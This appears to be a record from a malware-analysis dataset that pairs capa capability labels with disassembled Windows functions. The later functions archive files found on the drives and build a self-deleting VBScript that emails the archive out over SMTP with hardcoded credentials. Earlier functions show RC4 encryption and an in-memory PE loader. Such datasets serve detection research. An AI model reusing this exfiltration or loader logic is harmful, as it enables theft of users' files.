joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1029a2b2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x102d8840]
jne 0x1029a2bc
repz ret
jmp fcn.1029c139

Function at 0x1029f4ef
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1029bd10
and dword [ebp - 4], 0
cmp dword [0x102db2c4], 0
mov ebx, eax
jne 0x1029f5a0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1029f651
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1029f651
push eax
call fcn.1029bc9e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x102db2c4], eax
call esi
push eax
call fcn.1029bc9e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x102db2c8], eax
call esi
push eax
call fcn.1029bc9e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x102db2cc], eax
call esi
push eax
call fcn.1029bc9e
pop ecx
mov dword [0x102db2d4], eax
test eax, eax
je 0x1029f5a0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1029bc9e
pop ecx
mov dword [0x102db2d0], eax
mov eax, dword [0x102db2d0]
cmp eax, ebx
je 0x1029f5f8
cmp dword [0x102db2d4], ebx
je 0x1029f5f8
push eax
call fcn.1029bd19
push dword [0x102db2d4]
mov esi, eax
call fcn.1029bd19
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1029f5f8
test edi, edi
je 0x1029f5f8
call esi
test eax, eax
je 0x1029f5ef
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1029f5ef
test byte [ebp - 0xc], 1
jne 0x1029f5f8
or dword [ebp + 0x10], 0x200000
jmp 0x1029f631
mov eax, dword [0x102db2c8]
cmp eax, ebx
je 0x1029f631
push eax
call fcn.1029bd19
pop ecx
test eax, eax
je 0x1029f631
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1029f631
mov eax, dword [0x102db2cc]
cmp eax, ebx
je 0x1029f631
push eax
call fcn.1029bd19
pop ecx
test eax, eax
je 0x1029f631
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x102db2c4]
call fcn.1029bd19
pop ecx
test eax, eax
je 0x1029f651
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1029f653
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x102a0485
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.10001075
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x102a0505
jmp 0x102a0606
mov eax, dword [esp + 0x20]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
je 0x102a04db
jmp 0x102a04c7
mov eax, dword [esp + 0x18]
mov dword [esp + 0x24], eax
jmp 0x102a0606
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x20], eax
jmp 0x102a04a9
mov eax, dword [esp + 0x1c]
add eax, 0x3c
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [esp + 0x1c]
cmp dword [edx + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x102a05a4
jmp 0x102a04c7
lea eax, [esp + 0x38]
mov dword [esp + 0xc], eax
mov dword [0x102d87dc], 0x1c88
call fcn.102a0b55
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x102a04ba
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.102a01c8
lea ecx, [0x102a0e3c]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x80], edx
mov dword [esp + 0x54], 0x11ee00
mov edx, dword [0x102d87c8]
mov dword [esp + 0x5c], edx
mov edx, dword [0x102d87cc]
mov dword [esp + 0x7c], edx
mov dword [0x102d87e0], 0x1cfb
mov edx, dword [0x102d87d0]
mov dword [esp + 0x68], edx
mov edx, dword [0x102d87d4]
mov dword [esp + 0x3c], edx
mov edx, dword [0x102d87d8]
mov dword [esp + 0x88], edx
mov dword [0x102d87dc], 0x3721
mov dword [esp + 8], eax
mov dword [esp + 0x20], ecx
jmp 0x102a04a9
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x50], ecx
mov edx, dword [esp + 0x10]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x84], esi
mov dword [0x102d87dc], 0x287
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.102a117d
mov ecx, dword [0x102d87dc]
add ecx, 0x1596
mov dword [0x102d87dc], ecx
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x18], eax
jmp 0x102a04ba
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x102a08e8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [0x102d87dc], 0x7d3
mov dword [ebp - 0x10], eax
call fcn.102a1324
xor ecx, ecx
mov edx, eax
mov dword [0x102d87dc], 0x2094
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x102a0938
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x102d87e0], 0x10c6
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x102a0a5e
jmp 0x102a09ca
mov al, byte [ebp - 0x31]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x38]
add edx, 1
mov ah, byte [ebp - 0x39]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x40], edx
jne 0x102a09f6
jmp 0x102a0a23
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 2
mov edx, dword [ebp - 0x48]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x30], eax
jb 0x102a09dc
jmp 0x102a0a5e
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x50]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x54]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x39], cl
jne 0x102a0973
mov al, byte [ebp - 0x39]
test al, 1
jne 0x102a0a2f
jmp 0x102a09a1
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax]
mov dword [0x102d87e0], 0x552
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x102d87dc], 0x401
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102a0b55
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x34
mov dword [ebp - 8], 0
mov dword [0x102d87dc], 0xbee
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov ecx, 0x26f4
xor edx, edx
mov dword [0x102d87dc], 0x26f4
mov esi, dword [ebp - 8]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jmp 0x102a0c32
mov eax, dword [ebp - 0x1c]
mov dword [0x102d87dc], 0x1599
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x102a0c57
jmp 0x102a0c2b
mov eax, dword [ebp - 0x24]
add eax, 0xfffffc2c
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [0x102d87dc], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp eax, 0x104
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jl 0x102a0c32
jmp 0x102a0ba1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x102a0c1c
jmp 0x102a0c2b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x102a0c8f
jmp 0x102a0c2b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x102a0c0b
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x102a0ca6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], esi
je 0x102a0ba1
jmp 0x102a0bc3
mov dword [0x102d87dc], 0x1581
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x36], dx
mov ax, word [ebp - 0x36]
cmp ax, 0x6f
jne 0x102a0c2b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x102a0bfa
jmp 0x102a0c2b
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x34], eax
jne 0x102a0c2b
mov eax, dword [ebp - 0x34]
add esp, 0x34
pop esi
pop ebp
ret
Function at 0x102a0e95
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102d87dc], 0x545
mov dword [0x102d87e4], 0
mov dword [0x102d87e8], 0
mov dword [0x102d87f4], 0
mov ebx, dword [0x102d87e0]
add ebx, 0x1628
mov dword [0x102d87e0], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x102a100a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, edx
add edi, 1
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102d87e4], edx
mov ecx, dword [ebp - 0x20]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102d87e8], edx
mov dword [0x102d87dc], 0x1d10
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102d87ec], cl
mov dword [0x102d87e0], 0x609
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov edx, dword [0x102d87e0]
add edx, 0x19b1
mov dword [0x102d87dc], edx
mov cl, byte [0x102d87ec]
mov edx, dword [0x102d87e8]
mov byte [ebx + edx], cl
mov edx, dword [0x102d87e4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102d87e8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102d87f4], ecx
mov edx, dword [0x102d87dc]
add edx, 0x223a
mov dword [0x102d87e0], edx
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x102a100a
mov eax, dword [0x102d87e4]
mov ecx, dword [0x102d87e8]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], ecx
jmp 0x102a0f0a
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102a117d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x102d87dc], 0x132c
mov esi, dword [0x102d87e0]
mov edi, esi
add edi, 0xdd7c
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], edx
jmp 0x102a12a9
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x38]
add ecx, 0xd1ca
mov edx, dword [ebp - 0x34]
mov dword [0x102d87e0], edx
mov dword [0x102d87dc], ecx
mov dword [ebp - 0x40], eax
call fcn.102a0a69
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.102a0610
xor ecx, ecx
mov dword [0x102d87e0], 0x123
cmp eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
je 0x102a12ea
mov eax, dword [ebp - 0x44]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x4c], eax
call fcn.102a104e
mov eax, dword [ebp - 0x4c]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
add eax, 0xc0
mov dword [ebp - 0x50], eax
xor eax, eax
mov ecx, dword [ebp - 0x50]
mov dword [ecx], 0x4550
mov edx, dword [ebp - 0x4c]
add edx, 0xffc00000
mov dword [0x102d87dc], 0x528
mov esi, dword [ebp - 0x30]
mov dword [esi + 0x40], edx
mov edx, dword [0x102d87dc]
add edx, 0xfffff810
mov dword [0x102d87dc], edx
mov edx, dword [ebp - 0x4c]
mov dword [esi + 0x14], edx
mov dword [0x102d87e0], 0xd26
cmp edx, 0
mov dword [ebp - 0x48], eax
je 0x102a12ea
jmp 0x102a12d5
mov eax, dword [ebp - 0x3c]
mov cl, byte [eax + 0x102a238a]
mov dl, byte [eax + 0x102a235b]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x3c], eax
je 0x102a11b9
jmp 0x102a12a9
mov eax, dword [ebp - 0x4c]
add eax, 0x103b
mov dword [0x102d87dc], 0x1421
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add esp, 0x58
pop esi
pop edi
pop ebp
ret
Function at 0x102a14ae
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102d87e8], 0
mov byte [0x102d87ec], 0
mov dword [0x102d87e0], 0x608
mov dword [0x102d87e4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102d87e4]
add eax, 1
mov dword [0x102d87e4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x102a14f3
jmp 0x102a15e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, 0x1877
mov esi, 0x100
mov dword [ebp - 0x28], eax
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov dword [0x102d87f0], 0
mov ebx, dword [0x102d87e8]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [edi + ecx]
add ecx, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add ecx, edx
mov dword [0x102d87f0], ecx
mov edx, dword [ebp - 0x30]
mov dword [0x102d87dc], edx
mov eax, ecx
cdq
idiv esi
mov dword [0x102d87e8], edx
mov ecx, dword [ebp - 0x28]
mov cl, byte [edi + ecx]
mov byte [0x102d87ec], cl
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x28]
mov byte [edi + edx], cl
mov cl, byte [0x102d87ec]
mov esi, dword [0x102d87e8]
mov byte [edi + esi], cl
mov dword [0x102d87dc], 0x2706
mov esi, dword [0x102d87e4]
add esi, 1
mov dword [0x102d87e4], esi
cmp esi, 0x100
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], esi
jl 0x102a151e
mov dword [0x102d87e0], 0xe07
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x102d87e4], 0
mov ecx, dword [0x102d87dc]
add ecx, 0xfffff171
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
jmp 0x102a151e
Function at 0x401360
Capabilities:
Create directory
Get common file path
Get disk information

Disassembly:
sub esp, 0x84
push ebx
mov ebx, ecx
push ebp
push esi
push edi
lea ebp, [ebx + 0x20c]
push 0x200
push ebp
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
adc eax, sym.imp.KERNEL32.dll_GetSystemDirectoryA
or ecx, 0xffffffff
Function at 0x4014c0
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x340
push ebx
push ebp
mov ebp, ecx
push esi
push edi
push 0x200
lea ebx, [ebp + 0x20c]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, 0x409040
xor eax, eax
mov byte [esp + 0x13], 0x42
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.SystemVolume
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
xor ebx, ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x409070]
lea edi, [esp + 0x54]
mov dword [esp + 0x50], ecx
mov ecx, 0x3f
rep stosd dword es:[edi], eax
mov dl, byte [esp + 0x13]
lea eax, [esp + 0x50]
push eax
mov byte [esp + 0x54], dl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x401679
lea edi, [esp + 0x50]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40904c
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov byte [esp + 0x1a], bl
push ecx
mov ecx, ebp
call fcn.00401af0
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xff
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x30]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x2c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x254]
push ecx
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
lea edx, [esp + 0x164]
push 0xff
lea eax, [esp + 0x48]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov esi, str.HANSON
lea eax, [esp + 0x150]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40164d
cmp cl, bl
je 0x401649
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40164d
add eax, 2
add esi, 2
cmp cl, bl
jne 0x401629
xor eax, eax
jmp 0x401652
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40166d
lea eax, [esp + 0x50]
push str.SystemVolume
push eax
lea eax, [ebp + 0xc]
push eax
mov ecx, ebp
call section..text
jmp 0x401679
lea ecx, [esp + 0x50]
push ecx
mov ecx, ebp
call fcn.00401b70
mov al, byte [esp + 0x13]
inc al
cmp al, 0x5b
mov byte [esp + 0x13], al
jb 0x40156e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x340
ret
Function at 0x401de0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set file attributes

Disassembly:
sub esp, 0xa0
mov al, byte [0x409e60]
push ebx
push esi
push edi
mov byte [esp + 0x48], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x49]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push ecx
push 1
stosw word es:[edi], ax
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe
push 0x80000002
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
lea eax, [esp + 0x48]
push edx
push eax
push 0
push 0
push str.Path
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x14]
push 0x32
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x409040
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.SystemVolume
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x48]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._rar_a_c:TalkSmile__p111111
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x4c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push str.C:TalkSmile.rar
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0xa0
ret
Function at 0x401f40
Capabilities:
Create process on windows
Delete file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x407cf8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
mov eax, dword [0x40856c]
push 1
push eax
push 2
push str.c:SendMail.vbs
lea ecx, [esp + 0x10]
call fcn.00406249
push str.on_error_resume_next_n
lea ecx, [esp + 4]
mov dword [esp + 0x48], 0
call fcn.004063eb
push str.NameSpace___http:__schemas.microsoft.com_cdo_configuration____n
lea ecx, [esp + 4]
call fcn.004063eb
push str.Set_Email__CreateObject__CDO.Message___n
lea ecx, [esp + 4]
call fcn.004063eb
push str.Email.From___tencent4000_21cn.com__n
lea ecx, [esp + 4]
call fcn.004063eb
push str.Email.To___tencent4000_21cn.com__n
lea ecx, [esp + 4]
call fcn.004063eb
push str.Email.Subject___TalkSmilk_2.5__n
lea ecx, [esp + 4]
call fcn.004063eb
push str.Email.Textbody____
lea ecx, [esp + 4]
call fcn.004063eb
push str.Email.AddAttachment__C:TalkSmile.rar__n
lea ecx, [esp + 4]
call fcn.004063eb
push str.With_Email.Configuration.Fields_n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Item_NameSpace_sendusing____2_n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Item_NameSpace_smtpserver_____smtp.21cn.com___n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Item_NameSpace_smtpserverport____25_n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Item_NameSpace_smtpauthenticate____1_n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Item_NameSpace_sendusername_____tencent4000__n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Item_NameSpace_sendpassword_____4000__n
lea ecx, [esp + 4]
call fcn.004063eb
push str..Update_n
lea ecx, [esp + 4]
call fcn.004063eb
push str.End_With_n
lea ecx, [esp + 4]
call fcn.004063eb
push str.Email.Send_n
lea ecx, [esp + 4]
call fcn.004063eb
push str.set_fsocreateobject__scripting.filesystemobject___n
lea ecx, [esp + 4]
call fcn.004063eb
push str.fso.DeleteFile_WScript.ScriptFullName_n
lea ecx, [esp + 4]
call fcn.004063eb
lea ecx, [esp]
call fcn.00406313
push 6
push str.C:SendMail.vbs
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 5
push 0
push str.c:SendMail.vbs
push str.wscript.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:TalkSmile.rar
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 8]
mov dword [esp + 0x44], 0xffffffff
call fcn.00406300
lea ecx, [esp + 8]
call fcn.004061c6
mov ecx, dword [esp + 0x3c]
mov al, 1
mov dword fs:[0], ecx
add esp, 0x48
ret